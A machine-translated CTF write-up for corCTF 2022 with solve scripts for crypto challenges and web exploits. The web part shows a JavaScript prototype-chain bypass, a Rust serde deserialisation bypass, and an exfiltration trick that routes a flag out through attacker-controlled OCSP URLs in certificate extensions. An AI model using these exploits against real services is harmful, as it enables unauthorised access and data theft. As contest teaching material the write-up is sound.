corCTF 2022 WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
This time I participated in corCTF, which I heard had interesting problems last year but couldn't participate in. Although it was still a joint team of TSJ and thehackerscrew, we only got second place this time.
crypto
exchanged
This problem has a set of public LCG parameters and an initial value , with the update function defined as . Then, using the iterated function of , a Diffie-Hellman key exchange is defined. To solve this problem, you need to be able to find given .
The method is to write it as , so . At this point, we have . Since is smooth, we can directly solve the discrete logarithm (dlog).
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847
a = 118090659823726532118457015460393501353551257181901234830868805299366725758012165845638977878322282762929021570278435511082796994178870962500440332899721398426189888618654464380851733007647761349698218193871563040337609238025971961729401986114391957513108804134147523112841191971447906617102015540889276702905
b = 57950149871006152434673020146375196555892205626959676251724410016184935825712508121123309360222777559827093965468965268147720027647842492655071706063669328135127202250040935414836416360350924218462798003878266563205893267635176851677889275076622582116735064397099811275094311855310291134721254402338711815917
s = 35701581351111604654913348867007078339402691770410368133625030427202791057766853103510974089592411344065769957370802617378495161837442670157827768677411871042401500071366317439681461271483880858007469502453361706001973441902698612564888892738986839322028935932565866492285930239231621460094395437739108335763
A = 27055699502555282613679205402426727304359886337822675232856463708560598772666004663660052528328692282077165590259495090388216629240053397041429587052611133163886938471164829537589711598253115270161090086180001501227164925199272064309777701514693535680247097233110602308486009083412543129797852747444605837628
B = 132178320037112737009726468367471898242195923568158234871773607005424001152694338993978703689030147215843125095282272730052868843423659165019475476788785426513627877574198334376818205173785102362137159225281640301442638067549414775820844039938433118586793458501467811405967773962568614238426424346683176754273
ct = bytes.fromhex(
"e0364f9f55fc27fc46f3ab1dc9db48fa482eae28750eaba12f4f76091b099b01fdb64212f66caa6f366934c3b9929bad37997b3f9d071ce3c74d3e36acb26d6efc9caa2508ed023828583a236400d64e"
)
F = GF(p)
t = F(b / (1 - a))
def dlog(y, g):
return ZZ(F((y - t) / (g - t)).log(a))
def mul(s, n):
return ZZ(F(a) ** n * F(s - t) + t)
s1 = mul(B, dlog(A, s))
print(s1)
s2 = mul(A, dlog(B, s))
print(s1)
key = sha256(long_to_bytes(s1)).digest()[:16]
print(unpad(AES.new(key, AES.MODE_CBC, iv=ct[:16]).decrypt(ct[16:]), 16))
# corctf{th1s_lcg_3xch4ng3_1s_4_l1ttl3_1ns3cur3_f0r_n0w}
Another method is to solve the matrix dlog, using a method similar to the fast exponentiation of the Fibonacci matrix to obtain this matrix:
Then, using the Jordan form to find the general term, we can solve the dlog.
Later, I saw a method that doesn't require dlog:
Where are public keys, and is the target shared secret, so .
hidE
First, use time to seed random, then randomly generate multiple times using the same RSA to encrypt the flag. So, brute force the possible and see if the common modulus attack works.
from pwn import *
from Crypto.Util.number import *
from time import time
from random import Random
# io = process(["python", "main.py"])
io = remote("be.ax", 31124)
io.recvuntil(b"Your modulus is: ")
n = int(io.recvline())
def getflag():
io.sendlineafter(b"option: ", b"1")
io.recvuntil(b"flag: ")
return bytes_to_long(bytes.fromhex(io.recvlineS().strip()))
start = int(time())
c1, c2 = getflag(), getflag()
def attack(c1, c2, e1, e2):
g, a, b = xgcd(e1, e2)
if g != 1:
return
return power_mod(c1, a, n) * power_mod(c2, b, n) % n
for t in range(start - 10, start + 5):
rng = Random(t)
es = [rng.randint(1, n) for _ in range(10)]
for i in range(len(es)):
for j in range(i, len(es)):
m = attack(c1, c2, es[i], es[j])
if m is not None and b"corctf{" in long_to_bytes(m):
print(long_to_bytes(m))
exit()
# corctf{y34h_th4t_w4snt_v3ry_h1dd3n_tbh_l0l}
generous
This problem has a mysterious RSA-like encryption system using , and it gives you a decryption oracle that only provides the LSB. After carefully observing the key generation and decryption, it looks very similar to the Paillier cryptosystem, and testing shows it also has homomorphic properties. So, using addition and division, you can use the oracle to leak the flag bit by bit from the LSB.
from pwn import *
from random import randrange
from Crypto.Util.number import *
# io = process(['python', 'generous.py'])
io = remote("be.ax", 31244)
io.recvuntil(b'n = ')
n = int(io.recvlineS())
io.recvuntil(b'g = ')
g = int(io.recvlineS())
io.recvuntil(b'h = ')
h = int(io.recvlineS())
pub = (n, g, h)
io.recvuntil(b'Encrypted Flag: ')
c = int(io.recvlineS())
def encrypt(pubkey, m):
n, g, h = pubkey
r = randrange(1, n)
c = pow(g, m, n) * pow(h, r, n) % n
return c
def oracle(c):
io.sendlineafter(b'Enter ciphertext> ', str(c).encode())
io.recvuntil(b'Oracle result: ')
return int(io.recvlineS())
bs = []
while True:
b = oracle(c)
bs.append(b)
c = (c * encrypt(pub, -b))%n
c = pow(c,pow(2,-1,n),n)
print(unbits(bs[::-1]))
# corctf{see?1_bit_is_very_generous_of_me}
Additionally, this problem can also be solved using a method similar to the RSA parity oracle, directly recovering and then decrypting: https://jsur.in/posts/2022-08-08-corctf-2022-crypto-writeups#generous
Another interesting method is to treat the parity oracle's output as binary digits and then use continued fractions to recover: https://remyoudompheng.github.io/ctf/corctf2022/generous.html
corrupted-curves
Note: Please read corrupted-curves+ first
Similar to corrupted-curves+
, this problem's oracle allows you to freely choose , but is 64 bits, and the number of oracle calls is limited to 64.
In short, we still collect equations, but this time there are unknowns, and we can only get equations, meaning we can't use Gaussian elimination to solve it.
My method is to first eliminate using the resultant, leaving unknowns and equations, where the unknowns are , so they are .
This is similar to this writeup, where we try to solve it using LLL. However, directly using the equations matrix is too large, and LLL can't run it. Testing shows that about 16 equations are enough to get a unique result in a reasonable time.
from pwn import *
from Crypto.Util.number import long_to_bytes
# context.log_level = "debug"
# io = process(["python", "corruptedcurves.py"])
io = remote("be.ax", 31345)
io.recvuntil(b"p = ")
p = ZZ(io.recvline())
io.recvuntil(b"flag y = ")
flag_y = ZZ(io.recvline())
F = GF(p)
def get():
while True:
x = randint(2**384, p - 2**384)
io.sendlineafter(b"x = ", str(x).encode())
io.recvuntil(b"e = ")
e = ZZ(io.recvline())
r = io.recvline()
if b":(" in r:
continue
y = ZZ(r.split(b" = ")[-1])
return x, y, e
def ecc(a, b, x, y):
return y ^ 2 - (x ^ 3 + a * x + b)
varnames = ",".join(
["at", "bt"] + [f"a{i}" for i in range(64)] + [f"b{i}" for i in range(64)]
)
P = PolynomialRing(F, varnames)
at, bt = P.gens()[:2]
aa = P.gens()[2 : 2 + 64]
bb = P.gens()[-64:]
from tqdm import tqdm
polys = []
for _ in tqdm(range(64)):
x, y, e = get()
aaa = [a if x == "0" else 1 - a for a, x in zip(aa, f"{e:064b}"[::-1])]
bbb = [b if x == "0" else 1 - b for b, x in zip(bb, f"{e:064b}"[::-1])]
aaaa = at * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(aaa)])
bbbb = bt * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(bbb)])
f = ecc(aaaa, bbbb, x, y)
polys.append(f)
pp = []
for f, g in zip(polys, polys[1:]):
pp.append(f.sylvester_matrix(g, at).det())
ppp = []
for f, g in zip(pp, pp[1:]):
ppp.append(f.sylvester_matrix(g, bt).det())
# LLL of large matrix is really slow
M, v = Sequence(ppp[:16]).coefficient_matrix()
print(vector(v))
M = M.T.dense_matrix()
nr, nc = M.dimensions()
print(nr, nc)
B = block_matrix(
ZZ, [[matrix.identity(nc) * p, matrix.zero(nc, nr)], [M, matrix.identity(nr)]]
)
B[:, :nc] *= 2 ^ 512
print(B.dimensions())
B = B.LLL()
print(B[0][nc:-1])
sol = B[0][nc:-1]
raa = list(sol[:64])
rbb = list(sol[64:])
bt = (
pp[0]
.subs({s: v for s, v in zip(aa + bb, raa + rbb)})
.univariate_polynomial()
.roots(multiplicities=False)[0]
)
at = (
polys[0]
.subs({s: v for s, v in zip(aa + bb, raa + rbb)})
.subs(bt=bt)
.univariate_polynomial()
.roots(multiplicities=False)[0]
)
a = ZZ((at * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(raa)])))
b = ZZ((bt * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(rbb)])))
print(a)
print(b)
P = PolynomialRing(F, "x")
x = P.gen()
f = x ^ 3 + a * x + b - flag_y ^ 2
for x in f.roots(multiplicities=False):
print(long_to_bytes(ZZ(x)))
# corctf{i_h0pe_you_3njoyed_p1ecing_t0geth3r_th4t_curv3_puzz1e_:)}
threetreasures
The flag is divided into three parts , each 125 bits. There is an unknown 1024 bits , and a point on the curve over , satisfying . The part is directly encrypted with RSA.
The key is to use to get , so and have the same x-coordinate. By treating as unknowns and equating the x-coordinates of the two points, we get a quadratic polynomial with as the root. Since is only 125 bits, we can use the Coppersmith method to solve it at approximately .
However, testing shows that this bound is very tight, requiring a very large LLL matrix, which is impractical. So, we can use the fact that is the first part of the flag, which has the known prefix corctf{
, making the unknown part much smaller and easier to solve with Coppersmith.
Some people also mentioned that you can directly brute force the 5 bits of the LSB, and then solve it with Coppersmith 32 times.
After obtaining , substitute it back into the polynomial to get , then get , and finally decrypt .
from Crypto.Util.number import *
n = 97915144495462666300795364589570761584322186881492143950078938328867290046424857019504657598883431857075772605985768551863478086544857915637724181292135280539943713583281151707224031808445390796342632369109562433275679473233398168787639940620683354458292117457239552762694657810883738834935391913698852811737
ct = 20363336204536918055183609604474634074539942561101208682977506918349108499764147141944713060658857301108876346227077713201766486360148051069618774935469969057808945271860025712869868421279488925632657486125211168314387620225601572070169746014988350688548088791906161773656057212229972967244998930356157725393
x, y = (
3115938227771961657567351113281194074601897467086373590156577019504528350118731801249444974253028485083440228959842232653488953448859690520619223338133881,
2665631524518629436093690344927156713668794128141943350227439039472817541262750706395352700109556004195261826476428128993836186741129487842876154876730189,
)
fbits = 375
piece_bits = fbits // 3
fbytes = (fbits + 7) // 8
prefix = b"corctf{"
atop = bytes_to_long(prefix + (fbytes - len(prefix)) * b"\x00") >> (2 * piece_bits)
P = PolynomialRing(QQ, "a")
a = P.gen()
a += atop
def add(P, Q):
x1, y1 = P
x2, y2 = Q
if x1 != x2:
s = (y2 - y1) / (x2 - x1)
else:
s = (3 * x1 ^ 2 + a) / (2 * y1)
x3 = s ^ 2 - x1 - x2
y3 = -(y1 + s * (x3 - x1))
return x3, y3
# 3G = O
# G + G = -G
# xcoord(2G) = xcoord(-G) = xcoord(G)
xx, yy = add((x, y), (x, y))
g = (xx - x).change_ring(Zmod(n))
X = 2 ^ (125 - 8 * len(prefix))
beta = 0.5
eps = (beta ^ 2 / g.degree() - log(2 * X, n)).n()
alow = g.monic().small_roots(X=X, epsilon=eps, beta=beta)[0]
a = ZZ(atop + alow)
p = gcd(ZZ(g(alow)), n)
q = n // p
b = ZZ(y ^ 2 - (x ^ 3 + a * x)) % p
c = power_mod(ct, inverse_mod(65537, (p - 1) * (q - 1)), n) >> (512 - piece_bits)
flag = (a << (2 * piece_bits)) + (b << piece_bits) + c
print(long_to_bytes(flag))
# corctf{you_have_conquered_the_order_of_three!!}
corrupted-curves+
The problem involves an unknown elliptic curve over , and an oracle that randomly generates a 48-bit to get another curve , then gives you any point on it. The oracle can be called up to 2022 times.
The flag is the coordinate of a point on the original curve, and the problem only gives you , so you need to know to deduce .
My method is to denote the low 48 bits of as , and the remaining top bits as . For a known :
Where represents bitwise XOR, which can be written mathematically as:
This concept is from TSJ CTF 2022 (II): Signature, but you can also use my own writeup for that problem.
Now, since and can be expressed as linear combinations of unknowns, we can collect more than equations and use Gaussian elimination to solve for .
from pwn import *
from Crypto.Util.number import long_to_bytes
# context.log_level = "debug"
# io = process(["python", "corruptedcurvesplus.py"])
io = remote("be.ax", 31132)
io.recvuntil(b"p = ")
p = ZZ(io.recvline())
io.recvuntil(b"flag y = ")
flag_y = ZZ(io.recvline())
F = GF(p)
def get_y(x):
io.sendlineafter(b"x = ", str(x).encode())
try:
io.recvuntil(b"y = ", timeout=1)
return ZZ(io.recvline())
except:
return get_y(x)
io.send(b"\n" * 8763)
def get():
while True:
try:
r = io.recvuntil(b"more> ").splitlines()
e = ZZ(r[-4].split(b" = ")[-1])
x = ZZ(r[-3].split(b" = ")[-1])
y = ZZ(r[-2].split(b" = ")[-1])
return x, y, e
except:
pass
def ecc(a, b, x, y):
return y ^ 2 - (x ^ 3 + a * x + b)
varnames = ",".join(
["at", "bt"] + [f"a{i}" for i in range(48)] + [f"b{i}" for i in range(48)]
)
P = PolynomialRing(F, varnames)
at, bt = P.gens()[:2]
aa = P.gens()[2 : 2 + 48]
bb = P.gens()[-48:]
from tqdm import tqdm
polys = []
for _ in tqdm(range(2 + 48 + 48)):
x, y, e = get()
aaa = [a if x == "0" else 1 - a for a, x in zip(aa, f"{e:048b}"[::-1])]
bbb = [b if x == "0" else 1 - b for b, x in zip(bb, f"{e:048b}"[::-1])]
aaaa = at * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(aaa)])
bbbb = bt * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(bbb)])
f = ecc(aaaa, bbbb, x, y)
polys.append(f)
M, v = Sequence(polys).coefficient_matrix()
sol = vector(M[:, :-1].solve_right(-M[:, -1]))
print(sol)
at, bt = sol[:2]
aa = sol[2 : 2 + 48]
bb = sol[-48:]
a = ZZ((at * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(aa)])))
b = ZZ((bt * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(bb)])))
print(a)
print(b)
P = PolynomialRing(F, "x")
x = P.gen()
f = x ^ 3 + a * x + b - flag_y ^ 2
for x in f.roots(multiplicities=False):
print(long_to_bytes(ZZ(x)))
# corctf{cr4ftin6_f3as1ble_brut3s_unt1l_y0u_mak3_it!}
rlfsr
There is a 128-bit LFSR, which outputs in groups of 128 bits shuffled before outputting, with a total of 118 groups.
The key is to use the property that shuffling does not change the sum of each group, then use Gaussian elimination to get a solution and a rank 10 kernel, representing the 10 unknown bits.
This part is simply brute-forcing the 10 bits to see which one is the AES key, and then decrypting the flag.
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from tqdm import tqdm
import itertools
with open("output.txt", "rb") as f, open("fixed.txt", "w") as f2:
f2.write(f.read()[2:].decode("utf-16-le"))
with open("fixed.txt") as f:
c = int(f.readline().strip(), 16)
c = f"{c:0{118*128}b}"[::-1]
c = [c[i : i + 128] for i in range(0, len(c), 128)]
out = [sum([int(y) for y in x]) % 2 for x in c]
ct = bytes.fromhex(f.readline().strip())
iv, ct = ct[:16], ct[16:]
taps = [1, 2, 7, 3, 12, 73]
P = PolynomialRing(GF(2), "x")
x = P.gen()
f = sum([x ^ i for i in taps]) + x ^ 128
M = companion_matrix(f, "bottom")
M128 = M ^ 128
P = PolynomialRing(GF(2), ",".join([f"k{i}" for i in range(128)]))
s = vector(P.gens())
eqs = []
for i in tqdm(range(118), desc="progress"):
eqs.append(sum(s) - out[i])
s = M128 * s
M, v = Sequence(eqs).coefficient_matrix()
M = M.dense_matrix()
sol0 = vector(M[:, :-1].solve_right(-M[:, -1]))
ker = M[:, :-1].right_kernel().basis_matrix()
for z in itertools.product([0, 1], repeat=ker.dimensions()[0]):
sol = sol0 + vector(GF(2), z) * ker
kk = sum([x * 2 ^ i for i, x in enumerate(sol[::-1].change_ring(ZZ))])
aeskey = sha256(int(kk).to_bytes(16, "big")).digest()[:32]
cip = AES.new(aeskey, AES.MODE_CBC, iv=iv)
flag = cip.decrypt(ct)
if b"corctf{" in flag:
print(unpad(flag, 16))
# corctf{m4yb3_w3_sh0uld_ju5t_cut_hum4n5_0ut_0f_th1s_c0mpl3t3ly_1f_th3y_d3c1d3_t0_f4k3_shuffl3_0r_s0m3th1ng}
web
friends
This problem has a node.js server, and the goal is to be followed by the admin to get the flag. However, from the logic, there doesn't seem to be any issues, nor are there any other potential vulnerabilities like prototype pollution.
After spending a long time looking at the code, I found the problematic point while testing some things and formatting the problem's file with prettier:
const mine = followers.get(req.username)
// force all params to be strings for safety
[body.u, body.r, body.n] = params.map(
p => (body[p] ?? '').toString()
)
The above is a piece of code in /follow
, which looks quite normal, but after formatting, it becomes:
const mine = (followers.get(req.username)[
// force all params to be strings for safety
(body.u, body.r, body.n)
] = params.map(p => (body[p] ?? '').toString()))
This is because, although JavaScript generally has ASI (Automatic Semicolon Insertion) that allows you to omit semicolons, in some specific characters, you still need to separate them, or there will be ambiguity. Here, the missing ;
between )
and [
means:
followers.get(req.username)[body.n] = params.map(p => (body[p] ?? '').toString()))
To get the flag, you need to have admin
in your followers:
// get followers
const mine = followers
.get(req.username)
.filter(v => v !== undefined)
if (mine.includes('admin')) {
// lock the account so people don't stumble onto the flag
users.set(req.username, crypto.randomBytes(16).toString('hex'))
// give the flag
return res.send(
`Endorsed by the admin?! Here's your flag: ${process.env.FLAG}`
)
}
Comparing with that piece of code, we know it is equivalent to params.map(p => (body[p] ?? '').toString()))
, and the result of map
is an array, so simply filling body.n
with a number won't work; we need to think of other methods.
After some thought, I saw this in /remove
:
// delete is convenient and safe for -1 index
// no check needed
const theirs = followers.get(user)
delete theirs[theirs.indexOf(req.username)]
Since delete
on an array index only creates a hole without changing the length, and built-in functions will look up the prototype chain when called, we can bypass it by making an index disappear and pointing its __proto__
to another array. Example:
ar = [1]
ar.__proto__ = ['admin']
delete ar[0]
console.log(ar.includes('admin')) // true
Then, we can write a script to do this:
import httpx
host = "https://web-friends-b72ffb6a51e00042.be.ax"
c1 = httpx.Client(base_url=host)
c2 = httpx.Client(base_url=host)
c1.post("/login", data={"u": "supernene", "p": "supernene", "c": "supernene"})
c2.post("/login", data={"u": "elitemiko", "p": "elitemiko", "c": "elitemiko"})
c2.post("/follow", data={"u": "supernene", "r": "supernene", "n": "supernene"})
c1.post("/follow", data={"u": "admin", "r": "r", "n": "__proto__"})
c2.post("/remove", data={"u": "supernene"})
print(c1.get("/user").text)
# corctf{friendship_is_magic_colon_sparkles_colon}
Later, I also saw a method that doesn't use delete
, where JavaScript creates a hole in ar = []; ar[1] = 'peko'
, and then using the prototype can also solve it.
If you don't want to write semicolons in JavaScript, remember to add semicolons before
+-[(/
, so you won't have this problem (source).
rustshop
This problem is a Rust problem, a simple shop where you need to reach a specified amount of money and a certain number of items to get the flag, but the logic seems flawless on the surface.
The registration function is as follows:
async fn register_post(Json(body): Json<serde_json::Value>, cookies: Cookies) -> Json<APIResponse> {
if !utils::validate_body(&body, &["username", "password"]) {
return Json(APIResponse {
status: APIStatus::Error,
data: None,
message: Some(String::from("Invalid input")),
});
}
let mut user: User = match serde_json::from_value(body) {
Ok(user) => user,
Err(_) => {
return Json(APIResponse {
status: APIStatus::Error,
data: None,
message: Some(String::from("Missing username or password")),
})
}
};
if user.username.len() < 5 || user.password.len() < 7 {
return Json(APIResponse {
status: APIStatus::Error,
data: None,
message: Some(String::from("Username or password too short")),
});
}
if DB.contains_key(&user.username) {
return Json(APIResponse {
status: APIStatus::Error,
data: None,
message: Some(String::from("A user already exists with that username")),
});
}
user.password = utils::sha256(user.password);
let username = user.username.to_string();
let session_cookie = utils::randstr(64);
SESSIONS.insert(session_cookie.to_string(), username.to_string());
cookies.add(Cookie::new("session", session_cookie));
DB.insert(username, user);
Json(APIResponse {
status: APIStatus::Success,
data: None,
message: None,
})
}
It validates the incoming JSON to see if it contains certain values, then deserializes it into a User
, performs some checks, and if passed, inserts the user into the DB.
Looking into validate_body
, we see:
pub fn validate_body(body: &serde_json::Value, allowed: &[&str]) -> bool {
if let Some(body) = body.as_object() {
if body.keys().any(|key| !allowed.contains(&key.as_str())) {
return false;
}
}
true
}
It checks if all keys in the object are only those in allowed
, but there's a logical flaw here. When body.as_object()
is None
, it won't enter the if
, so it directly returns true. Testing confirms this happens when the body is an array, number, string, etc.
The deserialized User
structure looks like this:
#[derive(Serialize, Deserialize, Clone, Debug)]
pub struct User {
pub username: String,
pub password: String,
#[serde(default)]
pub items: Vec<PurchasedItem>,
#[serde(default = "default_money")]
pub money: i32,
}
It contains the username, password, items, and money. If we can somehow overwrite items
and money
during deserialization, we can get the flag, but to pass validate_body
, we can't use an object.
Checking the official documentation, we find that serde can directly deserialize an array into a struct in order, which is exactly what we need. So, we can get the flag like this:
await fetch('/api/register', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify([
'elitemiko',
'elitemiko',
[
{
name: 'rustshop flag',
quantity: 0x42069
}
],
0x13371337
])
}).then(r => r.json())
await fetch('/api/flag').then(r => r.json())
// corctf{we_d0_s0me_s3rde_shen4nigans}
sndbx
This problem is quite unique. It has a dedicated domain https://daplie.me/
, and its TLS cert is signed by its own CA. Connecting to it allows you to create a sandbox, providing a subdomain and asking you to provide a CSR (Certificate Signing Request) and private key. The subdomain can then be accessed via HTTPS (also signed by the custom CA).
Generating these things can be done with two commands:
openssl ecparam -genkey -name prime256v1 -out domain.key # Private key
openssl req -new -sha256 -key private.key -subj '/CN=4n3noitrpnz4t1bl2us6sq.daplie.me' -addext "subjectAltName = DNS:4n3noitrpnz4t1bl2us6sq.daplie.me" > domain.key # CSR
This allows the new subdomain to pass authentication in the browser using the custom CA.
The subdomain's static content at /
can be freely modified, but the entire *.daplie.me
site enforces this CSP:
default-src 'self' *.daplie.me; script-src 'unsafe-inline' 'unsafe-eval'; style-src 'unsafe-inline'
The problem's bot uses Firefox Nightly 102.0 and accepts their custom CA. You can provide a piece of JavaScript, and the bot will visit the castle:
page.goto(f'{config.CASTLE_BASE}?eval={quote(script)}&flag={config.FLAG}')
config.CASTLE_BASE
ishttps://castle.daplie.me/
The HTML looks like this:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>moat</title>
</head>
<body>
<script>
const iframe = document.createElement('iframe');
iframe.sandbox = 'allow-scripts';
iframe.srcdoc = `<script>window.flag = '${new URLSearchParams(window.location.search).get('flag')}'</script\>
<script>${new URLSearchParams(window.location.search).get('eval')}</script\>`;
document.body.appendChild(iframe);
</script>
</body>
</html>
It simply puts your JS and the flag into an iframe sandbox for execution, but still subject to the above CSP. The CSP completely restricts methods like fetch
or new Image
to transmit the flag, and X-Frame-Options: SAMEORIGIN
prevents methods like modifying location.href
, while the iframe sandbox itself also prohibits window.open
related techniques.
Another idea is to see if we can use the controllable subdomain to do something, like CSRF to modify subdomain content to transmit the flag, etc. However, this quickly hits the X-Frame-Options: SAMEORIGIN
restriction, so this route is also blocked.
Later, the author hinted that it was related to x509, leading me to research the certificate part. The server accepts the CSR and signs it with the CA's private key:
def generate(csr):
cert = x509.CertificateBuilder()
cert = cert.subject_name(csr.subject)
cert = cert.issuer_name(ca.issuer)
cert = cert.public_key(csr.public_key())
cert = cert.serial_number(x509.random_serial_number())
cert = cert.not_valid_before(datetime.datetime.today())
cert = cert.not_valid_after(datetime.datetime(2030, 1, 1))
for extension in csr.extensions:
cert = cert.add_extension(extension.value, extension.critical)
return cert.sign(private_key, hashes.SHA256())
The most suspicious part here is the extensions, as it accepts any extension you specify and signs it directly. Researching x509 and extensions, I found this article, which explains what some extensions do and lists some common ones.
One major extension is SAN (Subject Alternate Name), which is the subjectAltName
part in the previous openssl command. The browser uses this part to determine if a certificate is valid for a domain.
Next, I researched other websites like google.com
's x509 to see if there was anything interesting. This can be done with openssl:
openssl s_client -showcerts -servername google.com -connect google.com:443 2>/dev/null | openssl x509 -inform pem -noo
ut -text
Inside, I saw an interesting URL:
Authority Information Access:
OCSP - URI:http://ocsp.pki.goog/gts1c3
CA Issuers - URI:http://pki.goog/repo/certs/gts1c3.der
Researching, I found that OCSP (Online Certificate Status Protocol) is the successor to CRL (Certificate Revocation List), allowing clients to query the CA about the certificate's status, such as whether it has been revoked, providing the ability to revoke unsafe certificates. Thus, the OCSP URL points to the CA's server.
This part might not be entirely accurate, just my shallow understanding.
This led me to think about what would happen if we set the OCSP URL to our own server. After some experiments, I found that Firefox indeed sends an HTTP POST request to the OCSP server the first time it encounters a certificate, looking like this:
POST /ocsp HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 87
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
GARBAGE
However, subsequent queries are cached, so no additional requests are made. Restarting the browser clears the cache. Testing on the remote bot confirmed this, providing a side channel primitive we can use.
Since this is just a binary (true, false) primitive, leaking the entire flag isn't convenient. A simple method is to register multiple subdomains, e.g., I pre-registered 8 subdomains to leak one character (8 bits) at a time, each pointing to different OCSP URLs representing different bits being 0 or 1.
Generating subdomains script:
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import (
NameOID,
ExtendedKeyUsageOID,
AuthorityInformationAccessOID,
)
def gen(ocsp_url, ca_url):
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
)
builder = x509.CertificateSigningRequestBuilder()
builder = builder.subject_name(
x509.Name(
[
x509.NameAttribute(NameOID.COMMON_NAME, "*.daplie.me"),
]
)
)
builder = builder.add_extension(
x509.SubjectAlternativeName([x509.DNSName("*.daplie.me")]), critical=False
)
builder = builder.add_extension(
x509.ExtendedKeyUsage([ExtendedKeyUsageOID.OCSP_SIGNING]), critical=False
)
builder = builder.add_extension(
x509.AuthorityInformationAccess(
[
x509.AccessDescription(
AuthorityInformationAccessOID.OCSP,
x509.UniformResourceIdentifier(ocsp_url),
),
x509.AccessDescription(
AuthorityInformationAccessOID.CA_ISSUERS,
x509.UniformResourceIdentifier(ca_url),
),
]
),
critical=False,
)
request = builder.sign(private_key, hashes.SHA256())
csr = request.public_bytes(serialization.Encoding.PEM)
priv = private_key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8,
serialization.NoEncryption(),
)
return csr, priv
import httpx
ar = []
for i in range(8):
csr, priv = gen("http://REDACTED/bit/" + str(i), "http://REDACTED/ca")
client = httpx.Client(base_url='https://daplie.me', verify=False)
client.post('/create')
r = client.post('/add', data={
'csr': csr.decode(),
'priv': priv.decode(),
})
u = r.text.split('<span class="code">')[1].split('</span>')[0]
print(i)
print(u)
print()
ar.append(u)
print(ar)
The server part is a simple Flask app to collect bit information:
from flask import Flask
import logging
app = Flask(__name__)
app.logger.setLevel(logging.INFO)
bits = [0] * 8
@app.route("/bit/<n>", methods=["POST"])
def bit(n):
bits[int(n)] = 1
app.logger.info(bits)
app.logger.info(chr(int("".join(map(str, bits[::-1])), 2)))
return ""
app.run(host="0.0.0.0", port=80)
The JS sent to the bot running in the castle's sandbox is simple, just determining bits and deciding whether to send an OCSP request. Then, manually modify the index and slowly leak the flag character by character.
const urls = [
'adskeijoftisltjsmafdka.daplie.me',
'loqygyu03-c63wtg5pa9ja.daplie.me',
'xuz4rnbfa2_w7hyztxk0wa.daplie.me',
'pdvlygbkm1_f6w1xwwbiig.daplie.me',
'hqv7fki-8yuq7vrsarfxpg.daplie.me',
'bhd-psznuerilr9guvirdw.daplie.me',
'g36jgxy49ydyk1pm86djdq.daplie.me',
'ztnoo5ddk18mzxdjl5cvsg.daplie.me'
]
;(async () => {
const c = flag.charCodeAt(0) // change this to leak other flag char
for (let i = 7; i >= 0; i--) {
if ((c >> i) & 1) {
new Image().src = 'https://' + urls[i]
}
}
})()
// corctf{i_hate_x509_11fb05ad469e4721}
This should be considered an xsleak, albeit a very impractical one.